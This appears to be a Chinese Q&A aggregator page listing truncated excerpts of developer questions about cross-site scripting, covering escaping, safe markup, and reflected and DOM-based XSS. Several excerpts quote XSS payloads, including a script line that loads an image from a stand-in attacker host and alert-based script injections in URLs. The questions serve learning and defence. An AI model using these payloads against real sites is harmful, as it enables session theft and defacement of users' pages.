1回答
我正在寻找一种理想的方式来显示一个网址，就像它在超文本标记语言中使用vanillaJS。我尝试过<xmp>标签，但它是一个过时的标签。有人可以帮助一种方法，字符串的网址，以显示它是。
这与另一个问题不同，因为它需要
浏览 1提问于2017-08-09得票数 1
回答已采纳
2回答
我正在写一个java webapp，我想让我的用户输入包含安全标记的文本。我想将用户生成的标记保存到数据库中，并将其显示为HTML。
我知道，但它允许输入原始的HTML，这是不安全的。在java中有没有类似wiki/markdown的解释器是XSS安全的？我也希望听到一些javascript / wysiwig编辑器，它们可能会对我有所帮助。或者，java中有没有XSS<
浏览 1提问于2013-01-24得票数 2
如果我设法在网站搜索栏中输入javascript，然后在结果页面上运行javascript，那么它只在我的浏览器中本地会话上运行，对吗？因此，除非该网站存储我的javascript填充查询，并将其显示在其他用户的其他地方，否则它不会对其他用途做任何事情，对吗？
浏览 0提问于2016-11-08得票数 2
回答已采纳
2回答
我得到了一个简单的项目，但让我头疼，因为客户端编程不是我的事情。基本上，我得到了一个登录页面，客户希望我阻止XSS攻击，不允许用户在用户名/密码字段中提交恶意代码。尽管我知道javascript/HTML的基础知识，但我的经验几乎为零。诚挚的问候
浏览 0提问于2015-01-23得票数 3
回答已采纳
1回答
在rails 5.2.3 erb模板中：<p><%= input %></p>难道<%= ...%>不应该阻止反射的xss攻击吗
浏览 2提问于2019-12-12得票数 0
我正在检查我的门户的XSS漏洞。我在互联网上找到的例子表明，如果你有一个这样的URl如果您发现警报，它将显示您的门户是XSS易受攻击
浏览 1提问于2013-04-05得票数 0
我使用标签@ {var url = Html.Display (" url ")；}单击此处，但他将& in & amp；转换为&in&；，这会入侵url。
我该如何解决这个问题呢？@ {var url = Html.Display ("URL")；}单击此处
浏览 0提问于2019-09-07得票数 0
3回答
引用自：
<script>document.write("<img src=http://attacker.com/
浏览 3提问于2010-04-12得票数 1
回答已采纳
2回答
我知道XSS攻击(“非持久性”和“持久性”)可以劫持用户会话、污损网站、进行网络钓鱼攻击等。只有当浏览器不修改URL字符时，此漏洞才有效。那么，什么样的攻击(基于XSS
浏览 0提问于2013-03-10得票数 10
回答已采纳
2回答
我试图使用反射的XSS来利用URL，如下所示：vuln_parm的内容将按如下方式返回给用户：这在Burp内部起作用：
http://domain.com/vuln_parm="style="ba
浏览 0提问于2015-08-28得票数 2
我从上读到：
有人能举个例子吗？这并不像Stored XSS Attack和Reflected XSS Attack那样容易想象。
浏览 5提问于2015-02-16得票数 0
1回答
如何从参数中提取数据？
、、、
url=javascript:alert`XSS`我需要提取包含字符串'XSS‘的所有数据，并将它们放入一个列表中我曾尝试使用urlparse，
浏览 0提问于2018-02-11得票数 0
我在多个地方读到了关于什么是基于DOM的XSS的相互矛盾的观点。最初的定义似乎说，它是XSS的一种形式，它的有效载荷完全来自浏览器内部，但也有人认为它是XSS的一种形式，在这种形式中，有效负载可能不一定来自浏览器内部，而是用于修改DOM。
第二种观点使我感到困惑。描述DOM的OWASP页面给出了一个例子，在我看来，它与反射的XSS是一样的。上面写
浏览 0提问于2016-07-31得票数 1
2回答
我有一个看起来像这样的链接：运行得很好，我可以看到ID = 332635955335419755的帖子
但是当我尝试将它的一些文本添加到URL中以获得更漂亮的URL时...Codeigniter会显示一个404页错误，如果它有一些特殊的字符...实际上，它不会发生，除非你尝试XSS或等它…我没有得到XSS或类似
浏览 3提问于2012-04-28得票数 1
回答已采纳
用于encodeUri和encodeUriComponent mdn文档描述了单引号不被编码，因为它们在没有编码的url中是有效的，且这在不同的浏览器之间以相同的方式工作。然而，浏览器地址栏似乎有自己的URI编码规则。如果你在Chrome或Safari的URI中放入单引号，它会将其编码为%27，Firefox似乎也会这样做，然后pretty可能会再次将其打印为单引号字符
按enter &#x
浏览 0提问于2020-02-12得票数 0
2回答
可能重复：
如果我在IE6的url地址字段中插入以下XSS，
http://x.x.x.x/xe/?</script><script>alert(0x000640)</script> (这里'"--></style></script><script>alert(0x000640)
浏览 0提问于2012-09-07得票数 0
我想解析一个RSS订阅，并显示在我的网站(php，html)的内容。
但我想对提要进行html编码，以防止xss攻击。但是我该如何正确地做到这一点呢？1.)我怎样才能对一个url进行html编码，这样它就可以在之后工作了？如果我使用htmlspecialchars作为一个完整的url，这个url将不再起作用。2.)RSS源的标题已经是html编码的。但我想自己再做一次，以确保其中不能包含xs
浏览 0提问于2018-05-20得票数 0
3回答
我正在从事一个与XSS相关的项目，目前我需要一个数据集，例如，我可以通过WEKA来测试一些分类算法。我一直在谷歌上搜索，但没有运气。谢谢
浏览 14提问于2016-10-09得票数 0
回答已采纳
云服务器
ICP备案
云直播
对象存储
实时音视频
腾讯云开发者
